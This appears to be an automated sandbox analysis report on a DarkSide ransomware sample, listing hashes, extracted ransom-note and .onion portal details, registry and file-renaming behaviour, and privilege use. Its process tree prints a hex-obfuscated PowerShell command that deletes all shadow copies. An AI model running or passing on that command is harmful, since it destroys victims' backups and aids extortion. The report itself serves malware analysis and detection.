Analysis
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max time kernel
92s -
max time network
106s -
platform
windows10_x64 -
resource
win10v20210408 -
submitted
26-07-2021 12:57
Static task
static1
Behavioral task
behavioral1
Sample
12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe
Resource
win7v20210410
Behavioral task
behavioral2
Sample
12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe
Resource
win10v20210408
General
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Target
12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe
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Size
59KB
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MD5
c830512579b0e08f40bc1791fc10c582
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SHA1
2fc8514367d4799d90311b1b1f277b3fca5ca731
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SHA256
12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975
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SHA512
b8e7dc2b26ff00c43dae3e5ceb2b241bc7211c52fba167f1dfd81b285461fd53668953ede798a5f4fd1c587ee9861c2ca0fd034a958428dd3d9f5177c61b5ca3
Malware Config
Extracted
C:\\README.21b2020d.TXT
darkside
http://darksidedxcftmqa.onion/DWMRLAW/N9N6W7_4EpBFAgHXuDGQwpXTQSpdXdKqYN_rPUXHIsXGkuZCNNHvRC8amaoegEAh
http://darksidfqzcuhtk2.onion/WKWM6ZXNBVAFW62I1RTLLD4A82OO2O7NBOKLF05CRB4BD06IRBQ0MFA9ZFAKDZH2
Signatures
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DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
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Modifies extensions of user files 8 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exedescription ioc process File renamed C:\Users\Admin\Pictures\SelectRename.crw => C:\Users\Admin\Pictures\SelectRename.crw.21b2020d 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe File opened for modification C:\Users\Admin\Pictures\SelectRename.crw.21b2020d 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe File renamed C:\Users\Admin\Pictures\WaitGet.crw => C:\Users\Admin\Pictures\WaitGet.crw.21b2020d 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe File opened for modification C:\Users\Admin\Pictures\WaitGet.crw.21b2020d 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe File renamed C:\Users\Admin\Pictures\OutReset.raw => C:\Users\Admin\Pictures\OutReset.raw.21b2020d 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe File opened for modification C:\Users\Admin\Pictures\OutReset.raw.21b2020d 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe File renamed C:\Users\Admin\Pictures\RedoWatch.png => C:\Users\Admin\Pictures\RedoWatch.png.21b2020d 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe File opened for modification C:\Users\Admin\Pictures\RedoWatch.png.21b2020d 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Sets desktop wallpaper using registry 2 TTPs 2 IoCs
Processes:
12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\21b2020d.BMP" 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\21b2020d.BMP" 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe -
Modifies Control Panel 1 IoCs
Processes:
12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\Desktop\WallpaperStyle = "10" 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe -
Modifies registry class 5 IoCs
Processes:
12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\21b2020d 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\21b2020d\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\21b2020d.ico" 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.21b2020d 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.21b2020d\ = "21b2020d" 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\21b2020d\DefaultIcon 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
powershell.exe12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exepid process 1804 powershell.exe 1804 powershell.exe 1804 powershell.exe 620 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe 620 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe -
Suspicious use of AdjustPrivilegeToken 25 IoCs
Processes:
12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exepowershell.exevssvc.exedescription pid process Token: SeIncreaseQuotaPrivilege 620 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe Token: SeSecurityPrivilege 620 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe Token: SeTakeOwnershipPrivilege 620 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe Token: SeLoadDriverPrivilege 620 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe Token: SeSystemProfilePrivilege 620 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe Token: SeSystemtimePrivilege 620 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe Token: SeProfSingleProcessPrivilege 620 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe Token: SeIncBasePriorityPrivilege 620 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe Token: SeCreatePagefilePrivilege 620 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe Token: SeBackupPrivilege 620 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe Token: SeRestorePrivilege 620 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe Token: SeShutdownPrivilege 620 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe Token: SeDebugPrivilege 620 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe Token: SeSystemEnvironmentPrivilege 620 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe Token: SeRemoteShutdownPrivilege 620 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe Token: SeUndockPrivilege 620 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe Token: SeManageVolumePrivilege 620 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe Token: 33 620 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe Token: 34 620 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe Token: 35 620 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe Token: 36 620 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe Token: SeDebugPrivilege 1804 powershell.exe Token: SeBackupPrivilege 1092 vssvc.exe Token: SeRestorePrivilege 1092 vssvc.exe Token: SeAuditPrivilege 1092 vssvc.exe -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exedescription pid process target process PID 620 wrote to memory of 1804 620 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe powershell.exe PID 620 wrote to memory of 1804 620 12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe powershell.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe"C:\Users\Admin\AppData\Local\Temp\12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.sample.exe"1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logMD5
010c219c46b4439bc787644989e20389
SHA1f3a63066ab4446458bd6417386777e39e09b9b25
SHA2562a7c264d94398912c720de578b6d959b2457582182b8f2cc98281f27ef6701aa
SHA512c6967d2a37b9a45f491138b638d99e5fa09ef38f680c887bfbc2336c683deae86f4d6626f6defc8c0aabccf545923a708df05825de8102086a8f333a58e74963
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveMD5
474397eb75027c3a00a849dc5c9c7cdb
SHA166a5e020bbbd7109ca4d3c566dcddb166262186f
SHA256929f02bd3fbd282a1955dd22ab2e38e10ddaa8a407575d1b8781ffd897eaf5cc
SHA5128634916301b1a885a1db4d463eeea28b01825c2a2aa17e2a906ce6637496cdb9a0491c93d53b96df6ec19deb25bac0822a4b4fb8355c12ae96937c01759e0827
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memory/1804-114-0x0000000000000000-mapping.dmp
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memory/1804-120-0x0000025C85B40000-0x0000025C85B41000-memory.dmpFilesize
4KB
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memory/1804-124-0x0000025CA0290000-0x0000025CA0291000-memory.dmpFilesize
4KB
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memory/1804-126-0x0000025C9E1B3000-0x0000025C9E1B5000-memory.dmpFilesize
8KB
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memory/1804-125-0x0000025C9E1B0000-0x0000025C9E1B2000-memory.dmpFilesize
8KB
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memory/1804-135-0x0000025C9E1B6000-0x0000025C9E1B8000-memory.dmpFilesize
8KB